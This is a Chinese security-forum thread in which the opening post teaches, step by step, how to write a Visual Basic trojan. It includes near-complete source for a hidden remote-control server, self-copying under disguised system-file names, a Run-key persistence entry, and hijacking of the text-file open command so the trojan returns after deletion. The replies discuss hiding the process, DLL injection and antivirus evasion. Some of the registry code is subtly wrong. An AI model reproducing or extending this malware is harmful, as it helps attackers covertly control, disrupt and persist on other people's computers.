论坛: 编程破解 标题: VB木马编写 复制本贴地址    
作者: battle [battle]    论坛用户   登录
相信大家或多或少都听说过木马这个东西,可能它的危力也有过不少人领教过:在后台记录你的键盘输入,截取你的密码;从你的机子中神密地偷走你的重要资料;甚至格掉你的硬盘……那这些厉害的家伙它们是如果工作的呢?下面我就给大家一起来聊聊它们的工作原理。
其它这些家伙已经并不是十分高明的技术了,它们不外乎也就是基于TCP/IP协议的客户端/服务端程序。工作原理也和普通的客户端/服务端软件一样,只不过它们隐藏得比较好,不容易发现而已。首先对你怀有野心的人利用现成的操作系统或是某些软件本身的漏洞想方设法的把服务端程序加到你的本机上运行,然后通过客户端向你本机中的服务端程序发出一些请求,最后对你本机进行操作,完成他们想要达到的目的。
那这些请求是如何实现的呢?下面我来举一个例子。
首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。
接下来我们回来frmServer窗体模块中,添加如下代码:
Private Sub FORM_Load()
With Me
.sckServer.LocalPort = 4000‘本地端口
.sckServer.Listen ‘开始监听
End With
End Sub
‘接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:
Private Sub FORM_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。
.sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能�D�D�D关机,重启,注销。好,开始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
\' 接收客户请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
\'关机
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
\'重启
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
\'注销
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的FORM_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
写到注册表启动组中的过程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String

sKey = "Systrsy" \'启动组中的键,找一个与系统文件相近的。
sKeyVal = "C:\\windows\\system\\systrsy.exe" \'木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
End If
End Sub
好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile\\shell\\open\\command"
skeyVal = "C:\\windows\\system\\txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\\windows\\system\\txtView.exe是哪里来的,我们的木马是C:\\windows\\system\\systrsy.exe呀。这可是我们木马的分身了。
好,回到Server工程的frmServer窗体的FORM_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\\" & App.EXEName & ".exe"
sSystemDir = “C:\\windows\\system”
On Error Resume Next
‘复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "\\Systrsy.exe"
On Error Resume Next
复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\\txtView.exe"

调用
Call startupGroup
Call WriteToTxt

\'判断程序是否下在运行
If App.PrevInstance Then
‘如果已经运行就退出。
End
End If

好了,到现在为止,我们的木马已经像个木马了。快把它编译为EXE文件吧!只要一运行你的程序,不管在哪里,就会把自身复制到系统目录下(还带一个分身),下次开机自己就运行了,这样你就可以把他的电脑给黑掉了。即使对方发现把它给删了,它一旦打开TXT文件,你的木马又复活了,怎么删也删不掉,哈哈!
当然这只是个例子,只有简单的功能,而且里面好多地方也还要作修改,比如隐藏你的进程,修改你木马在系统目录下为隐藏、系统、只读属性等等,就看大家怎么发挥自己的聪明才能了。


地主 发表时间: 04-02-14 16:29

回复: jhkdiy [jhkdiy]   版主   登录
good

B1层 发表时间: 04-02-14 23:10

回复: bcliangzi [bcliangzi]   论坛用户   登录
板扎!!!

B2层 发表时间: 04-02-15 15:43

回复: wangsong [wangsong]   论坛用户   登录
我也试试写个木吗

B3层 发表时间: 04-02-15 20:56

回复: bcliangzi [bcliangzi]   论坛用户   登录
用VB怎么写防火墙呀?

B4层 发表时间: 04-02-16 13:12

回复: leonshoh [leonshoh]   论坛用户   登录
VB写木马效率不高,连struct都发不出去

B5层 发表时间: 04-02-18 13:46

回复: newmyth21 [newmyth21]   论坛用户   登录


B6层 发表时间: 04-02-19 05:28

回复: zml2236 [zml2236]   论坛用户   登录
是不是自己编的这样的木马就不会被杀毒软件杀啊?

B7层 发表时间: 04-03-20 13:25

回复: cnyx [cnyx]   论坛用户   登录
你真是厉害呀

B8层 发表时间: 04-03-21 10:50

回复: adi8 [adi8]   论坛用户   登录
我顶


B9层 发表时间: 04-03-21 18:44

回复: dyx [dyx]   论坛用户   登录
不是我泼冷水,你的木马糟透了,打开任务管理器就露馅了,在98下倒可以在“关闭程序”隐藏,NT下就不行了。我一直在研究用VB实现在NT任务管理器下隐藏的方法。有兴趣一起研究的加我QQ:341152902
MSN:dyx_88@msn.com

B10层 发表时间: 04-04-07 22:01

回复: Frankiez [frankiez84]   论坛用户   登录
VB写木马没实际意义,别人不一定有WINSOCK控件,难道还要别人安装?
NT任务管理器下隐藏倒很简单,作为DLL插入别的进程就可以了

B11层 发表时间: 04-04-07 23:22

回复: dyx [dyx]   论坛用户   登录
错了,VB写木马有意义。VB写的程序如果用了第3方控件(如WinSock)。在运行时如果系统中没有这个控件,程序会自动为其安装。这也是VB的优势之一。

B12层 发表时间: 04-04-08 13:05

回复: Frankiez [frankiez84]   论坛用户   登录
你用过VB没有?
如果没有注册控件的话提示应该是
    Run time error "713"
    Class not registered!
    Look for object with CLSID{.........}
拜托,不要凭空想象。

B13层 发表时间: 04-04-08 13:47

回复: Ancdut [ancdut]   论坛用户   登录
不要标了~
  VB绝对能达到写出现在所有木马的能力。包括DLL木马
双线程木马都可以的哈!

B14层 发表时间: 04-04-13 10:31

回复: littlework [littlework]   论坛用户   登录
取决于个人能力吧,

B15层 发表时间: 04-04-14 11:01

回复: leonshoh [leonshoh]   论坛用户   登录
VB的木马糟糕透了,NND,什么都不能做,有点垃圾~

B16层 发表时间: 04-04-15 16:32

回复: feng5 [feng5]      登录
这些是你编的?
恐怕不是吧?

B17层 发表时间: 04-04-15 19:10

回复: myjian [myjian]   论坛用户   登录
我想请大家不要这么激动......

我在去年时,在网上看到一个VB爱好者,使用VB编了一个小时钟.也许大家认为时钟是很简单的事,没错,本身应该是很简单.但是,如果要求CPU占用小,速度快,用VB能编出来吗?这样的程序应该是VB以外环境的长处(如C,DELPHI等),但这位先生编出来的程序竟然和用ASM编出来的程序比速度、比效率!!结果是他在整个程序里没有用到一个外部控件,整个程序,包括窗体、按钮、弹出菜单等,全部用API来生成,晕~~~~~~据他本人说,一共用了三百多个API呢!!

不过我现在在GOOGE里根本就查不到他的相关资料,晕

B18层 发表时间: 04-04-15 22:45

回复: bcliangzi [bcliangzi]   论坛用户   登录
VB可以做出很好的木马的,对于任务栏的隐藏可以用API,VB是一门开发效率很高的
语言!

B19层 发表时间: 04-04-16 18:12

回复: zhuzi [zhuzi]   论坛用户   登录
顶!~

B20层 发表时间: 04-04-16 19:02

回复: case520 [case520]      登录
好!

B21层 发表时间: 04-04-16 19:02

回复: myjian [myjian]   论坛用户   登录
只要好好地学习API,VB的速度一样不慢

B22层 发表时间: 04-04-16 19:41

回复: bluebat2_ [bluebat2_]   论坛用户   登录
222222222222222222222222222222222222222222222

B23层 发表时间: 04-04-17 23:21

回复: song110 [song110]   论坛用户   登录
可是我一点不懂!
我不想去黑别人呀!

B24层 发表时间: 04-04-18 11:26

回复: yangqin194 [yangqin194]   论坛用户   登录
你能不能说简单点呀~~~~~
那些一般的电脑爱好者,根本看不懂呀`


B25层 发表时间: 04-04-23 00:45

回复: lxlmf [boadi]   论坛用户   登录
怎么这种东西也这么多人要看啊
我也有个不用WINSOCK 控件的,不知道哪位仁兄想要看?

B26层 发表时间: 04-04-23 20:48

回复: leonshoh [leonshoh]   论坛用户   登录
回复: 落雨 [bcliangzi]    论坛用户 回复  收藏 
VB可以做出很好的木马的,对于任务栏的隐藏可以用API,VB是一门开发效率很高的
语言! 


是吗??任务栏隐藏有P用,VB做好木马,我到愿意和你比比,你用VB,我用VC写木马~

B27层 发表时间: 04-04-23 22:38

回复: Frankiez [frankiez84]   论坛用户   登录
有些事虽然可以做到,但很费时间,从效率角度来讲就是吃饱了撑的
VB是可以都用API,可是,即使那样,你还是要用到运行库
并且VB对一些用到指针的API的调用还要很多复杂的转换,与其用ADRESSOF,为什么不直接用VC呢?
钻木可以取火,打火机也可以,为什么不用前者呢?只要手劲大,速度快,火一样可以很快出来,哈哈哈


B28层 发表时间: 04-04-24 23:40

回复: bcliangzi [bcliangzi]   论坛用户   登录
回复leonshoh ,隐藏任务栏,其实根本不需要API,注册进程才需要,我承认用VB编的木马和用VC编是不一样,功能和效率都不一样,但是,VB对于初学者来说,相比VC那个更容易,学编程如果一开始就让你学汇编,和一开始学BASIC那个更容易???何况,现在的VB。NET进步可不是很差呀!!你不得不承VC能编的东西,VB一样能编!

B29层 发表时间: 04-04-25 10:20

回复: leonshoh [leonshoh]   论坛用户   登录

我是从汇编和C开始学的,是的,我承认VB和VB.net可以遍,但是,VB要running time,VB.NET需要.net Framework,不能独立运行,还有,在运行效率上的呢??还有,VB我需要发送一个struct,你怎么实现呢??通过文件把struct转化成Byte数组??还是调用用VC写的DLL??
VB编出来大小呢???VC可以通过修改编译选项,实现PE节对齐修改,数据代码段压缩,VB呢??


B30层 发表时间: 04-04-26 10:05

回复: bcliangzi [bcliangzi]   论坛用户   登录
那只是功能效率上的,但不是不能编出来1

B31层 发表时间: 04-04-26 20:11

回复: pillow_911 [pillow_911]   论坛用户   登录
总算是看懂一些了

有些时候心里急就看不下

还好今天有心情

不然发这样的帖子一般都是先收藏一下

谢了

B32层 发表时间: 04-04-27 23:14

回复: rshu [rshu]   论坛用户   登录
虽然看不懂,也支持一下

B33层 发表时间: 04-04-28 18:31

回复: zy1114 [zy1114]   论坛用户   登录
谢谢  我看到VB写的东西 我知道VB也能写

B34层 发表时间: 04-04-29 17:09

回复: Titians [flyfalcon]      登录
编程的思想是相通的,既然用VB做出来,那么换个平台,也就做得出.并不要考虑谁优谁劣的问题
编程,最重要的是想法,只有想不到,没有做不到。
我觉得楼主的做法是值得肯定的。

不要相信什么不可能的事情不会发生。


B35层 发表时间: 04-05-01 01:06

回复: Frankiez [frankiez84]   论坛用户   登录
vb写是能写,但有实际意义吗?
我很同意楼上一位兄弟的说法,VB6需要RUNTIME,VB。NET需要。NET FRAME。
你写木马的目的是什么?你有学过软件需求吗?你知道木马必备的特性是什么吗?
如果在别人中木马前还得先让他为了中此木马而装一个。NET FRAME,我实在不相信地球上有这么弱智的人会中这个木马。
有想法是好的,可是必须符合实际。用VB来写木马只能增加开发成本并降低产品的竞争力。
如果仅仅为了学习,那这样做是值得鼓励的,但如果有人说这个木马可以和CPP写的有一个横向比较的话,haha, it's your own dream……

B36层 发表时间: 04-05-01 10:47

回复: leonshoh [leonshoh]   论坛用户   登录
不错,何谓木马,何谓后门 ? ?
都是RAT工具,但是是在别人不知道的情况下中上的,木马应该具有一定的隐蔽性
你用VB或者。NET写的,别人没有环境,跳出一个错误,后果会怎么样?

C/CPP写的木马虽然也是有针对性的,但是在运行时就可以判断操作系统和它的配置,从而决定是否驻留,是否运行,一切用户是很难发现的~

B37层 发表时间: 04-05-01 13:06

回复: peter [peter]   论坛用户   登录
各大哥大姐,小菜�B想��一下::
你��到低知不知道什麽VB,VC啊。。。它��不是一�T�Z言
它��只是一�N�_�l工具,
菜�蹩���

B38层 发表时间: 04-05-04 20:15

回复: bcliangzi [bcliangzi]   论坛用户   登录
是吗?它们是一种开发工具,有点对,又有点错1

B39层 发表时间: 04-05-05 14:08

回复: qiusuocn [qiusuocn]   论坛用户   登录
vb 不懂

B40层 发表时间: 04-05-05 15:11

回复: mj8314 [mj8314]   论坛用户   登录
是不是可以实现呀
我是vb初学者
能学会吗?

B41层 发表时间: 04-05-16 05:07

回复: battle [battle]   论坛用户   登录
这个木马只不过是给新手的一个例子,,肯定有很多新手,,不知道从何下手。。。

也希望你们能从里领悟到另一翻道理,,能举一反三。。。。

B42层 发表时间: 04-05-16 10:22

回复: Frankiez [frankiez84]   论坛用户   登录
B38楼的,不要咬文嚼字 :> ,分析这种问题是没有意义的,我曾不下百次的和人解释过VC只是CPP的一种实现方式,而VB既可以说是语言又可以说是IDE

B43层 发表时间: 04-05-16 21:11

回复: justobq [justobq]   论坛用户   登录
我觉得无论楼主做的木马可不可以用都好,我们的为了进步,如果你觉得不好的话你可以改进啊,说了一堆的话都没有什么实际的行动来证明你是对的~~!哼~~!

B44层 发表时间: 04-05-19 16:50

回复: rshu [rshu]   论坛用户   登录
不行啊,弄不成啊

B45层 发表时间: 04-05-21 19:50

回复: yinjun [yinjun]   论坛用户   登录


B46层 发表时间: 04-05-22 13:19

回复: bcliangzi [bcliangzi]   论坛用户   登录
其实VB写系统程序很不错!

B47层 发表时间: 04-06-04 12:37

回复: subaijun [subaijun]   论坛用户   登录
jhkdiy:不准乱发广告。


[此贴被 jhkdiy(jhkdiy) 在 11月28日13时11分 编辑过]

B48层 发表时间: 06-11-28 06:22

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号